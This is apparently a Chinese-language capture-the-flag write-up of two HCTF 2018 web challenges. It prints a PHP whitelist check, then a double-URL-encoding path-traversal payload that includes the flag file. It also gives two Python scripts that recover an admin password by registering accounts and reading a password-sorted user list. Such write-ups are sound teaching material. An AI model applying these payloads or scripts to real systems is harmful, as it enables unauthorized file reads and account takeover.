首先,来说说本次比赛吧。
- 没有学到百度的真谛。(什么漏洞百度几乎都有,遇到不会就百度。发现源码也可百度理解)
- 发现可测试的地方要通过各种手段进行尝试。
- ctf题与真正的漏洞有差距。需要换种思维来考虑问题。
然后,就是差距了。大佬的热身题只需半分钟,而我们足足做啦十几个小时,还需要大佬点拨。只想说,咦,真垃圾啊!好啦,不废话啦。进入正题。
warmup(热身)
首先打开题目,发现源码中存在提示:
\
点击hint发现url变成:
http://warmup.2018.hctf.io/index.php?file=hint.php
并显示:flag not here, and flag in ffffllllaaaagggg
所以更改url为:
http://warmup.2018.hctf.io/index.php?file=source.php
发现源码:
<?php
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)){
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)){
return true;
}
$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
// echo "$_page";//$_page=db_sql.php?/../../../../test.txt
// exit;
$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));
// echo "$_page";//$_page=db_sql.php
// print_r($whitelist);//Array ( [source] => source.php [hint] => hint.php )
// exit;
if (in_array($_page, $whitelist)) {
echo "success<br>";
return true;
}
echo "you can't see it1";
return false;
}
}
if (! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file'])){
echo "aaaaa";
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
echo $_REQUEST['file'];//db_sql.php%253f/../../../../test.txt
?>
观察代码
在url进行传参的时候会自动进行一次url解码可以把%25解码变成%,因为源码中又进行啦一次url解码($_page = urldecode($page))会把%3f解析为?,然后通过截取函数,截取到%253f前面的内容。这让我们有啦可称之机。
然而在include包含文件的时候把source.php%253f理解成一个目录,这是我们需要通过../来跨目录,一般五个../到达根目录。(可以多写些来到达根目录)
payload:http://warmup.2018.hctf.io/index.php?file=hint.php%253f../../../../../ffffllllaaaagggg
CVE漏洞详情:https://blog.csdn.net/nzjdsds/article/details/81260335
基础储备
MySQL数据排序asc、desc
单一字段排序order by 字段名称
排序采用 order by 子句,order by 后面跟上排序字段,排序字段可以放多个,多个采用逗号间隔,order by默认采用升序(asc),如果存在 where 子句,那么 order by 必须放到where 语句后面。
然后就是排序的内容:
mysql对大小写不敏感。
小写永远排在大写前。其他有待考察。
本题思路:
注册后登陆进入后发现存在参数order=……,以为是order by 注入。结果人家对order by过滤的特别严。不存在注入(mmp)。
正确解法:http://game.2018.hctf.io/web2/user.php?order=password
我们可以根据密码进行排序。不断注册新用户,密码诸位与admin的密码进行比较。比如注册个密码为d的用户,然后按密码排序,发现它在admin下面。然后注册一个密码为e的用户,发现他在admin上面。由此可以推算出admin密码第一位是d,按照此原理,逐位得到完整的admin密码为dsa8&&!@#$%^&d1ngy1as3dja,登录访问flag.php即可getflag。
大佬脚本:
import requests
import hashlib
import threading
def md5(str):
sha = hashlib.md5(str)
encrypts = sha.hexdigest()
return encrypts
def reg(username,password):
url = 'http://game.2018.hctf.io/web2/action.php?action=reg'
data = {
"username":username,
"password":password,
"sex":"1",
"submit":"submit"
}
headers = {
'Connection': 'close',
}
r = requests.post(url=url,data=data,headers=headers)
def fuzz(start,end):
for i in range(start,end):
password = 'dSa8&&!@#$%^&d1nGy1aS3dja'+chr(i)
username=md5(password)
content = username + " " + password +" "+ str(i) + "\n"
reg(username, password)
print content
print str(start)+'~'+str(end)+"complete"
step=20
for i in range(33,127,step):
t = threading.Thread(target=fuzz, args=(i, i+step))
t.start()
一位一位得到密码。
脚本2:
import requests
import random
import string
def reg(username,password):
print("reg",username,password)
session = requests.Session()
paramsGet = {"action": "reg"}
paramsPost = {"password": password, "submit": "submit", "sex": "1", "username": username}
headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0",
"Referer": "http://game.2018.hctf.io/web2/reg.html", "Connection": "close",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Content-Type": "application/x-www-form-urlencoded"}
response = session.post("http://game.2018.hctf.io/web2/action.php", data=paramsPost, params=paramsGet,
headers=headers)
print("Status code: %i" % response.status_code)
print("Response body: %s" % response.content)
def login(session,username,password):
paramsGet = {"action": "login"}
paramsPost = {"password": password, "submit": "submit", "username": username}
headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0",
"Referer": "http://game.2018.hctf.io/web2/index.html", "Connection": "close",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Content-Type": "application/x-www-form-urlencoded"}
response = session.post("http://game.2018.hctf.io/web2/action.php", data=paramsPost, params=paramsGet,
headers=headers)
print("Status code: %i" % response.status_code)
print("Response body: %s" % response.content)
def getUserList(session):
headers = {"Accept": "*/*", "X-Requested-With": "XMLHttpRequest",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0",
"Referer": "http://game.2018.hctf.io/web2/game/index.html", "Connection": "close",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2"}
response = session.get("http://game.2018.hctf.io/web2/user.php?order=password", headers=headers)
print("Status code: %i" % response.status_code)
# print("Response body: %s" % response.content)
tlist = response.text.split('<tr>')
nList = tlist[2:]
idList = []
nameList=[]
for _ in nList:
info=[]
ems = _.split('<td>')
c=0
for __ in ems:
x = __.split('</td>')[0].strip()
if len(x)>0:
info.append(x)
if c==0:
idList.append(x)
if c==1:
nameList.append(x)
c = c + 1
return idList,nameList
def getIndexByName(nameList,x):
return nameList.index(x)
def getIndexById(idList,x):
return idList.index(x)
def genRandomString(slen=10):
return ''.join(random.sample(string.ascii_letters + string.digits, slen))
def main():
myUsername= 'test@zhua.zhua'
myPassword='test@test'
mySession = requests.Session()
username="93aa243d3ef17"
password="DSA8&&!@#$%^&D1NGY1A"
login(mySession,myUsername,myPassword)
idList,nameList = getUserList(mySession)
print(idList)
print(nameList)
print(nameList[getIndexById(idList,'1')])
for _ in range(1,100):
l=0
r=128
while l<r:
mid=(l+r+1)//2
temp = chr(mid)
testPass = password+temp
testUser = username+genRandomString(10)
reg(testUser,testPass)
idList, nameList = getUserList(mySession)
adminC = getIndexById(idList, '1')
testC = getIndexByName(nameList, testUser)
print('compare',adminC,testC,'mid=',mid,'l,r',l,r)
if adminC<testC:
l=mid
else:
r=mid-1
print(l,r)
password = password+chr(l)
print('password',password)
if __name__ =="__main__":
main()
由于exp进行二分时是由小逼近,所以注入结果最后一位存在比真实目标值小一的可能,通过求得的结果。
菜的我,脚本都看不懂。